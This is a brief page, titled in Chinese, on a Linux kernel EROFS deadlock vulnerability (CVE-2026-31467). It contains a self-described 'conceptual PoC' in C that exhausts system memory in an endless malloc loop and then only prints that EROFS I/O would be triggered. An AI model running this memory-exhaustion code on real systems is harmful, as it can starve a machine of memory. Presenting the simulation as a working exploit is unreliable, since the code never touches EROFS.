CVE-2026-31467 Linux Kernel EROFS死锁漏洞

/* * Conceptual PoC for CVE-2026-31467 (Linux Kernel EROFS Deadlock) * This is a simulation of the trigger condition. * Actual exploitation requires specific kernel memory pressure and EROFS mount. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // Note: This PoC demonstrates the user-space trigger logic (memory pressure). // The actual deadlock happens in the kernel space within z_erofs_endio. void consume_memory() { size_t block_size = 1024 * 1024; // 1MB char *buf; int i = 0; printf("[+] Applying memory pressure to trigger OOM/Swap...\n"); while (1) { buf = malloc(block_size); if (buf == NULL) break; memset(buf, 0xAA, block_size); i++; if (i % 100 == 0) printf("Allocated %d MB\n", i); } printf("[-] Memory allocation stopped. Kernel may start swapping during EROFS access.\n"); } int main() { printf("CVE-2026-31467 PoC Trigger Simulation\n"); printf("Scenario: Mount EROFS image with dm-verity on low memory system.\n"); // Step 1: Consume memory to force GFP_KERNEL to trigger swap consume_memory(); // Step 2: Perform I/O on EROFS mount (Kernel space execution) // In a real exploit, this would be a read() on a file on the EROFS filesystem // causing the bio completion path to call vm_map_ram() with GFP_KERNEL. printf("[!] Triggering EROFS I/O (Simulation)...\n"); return 0; }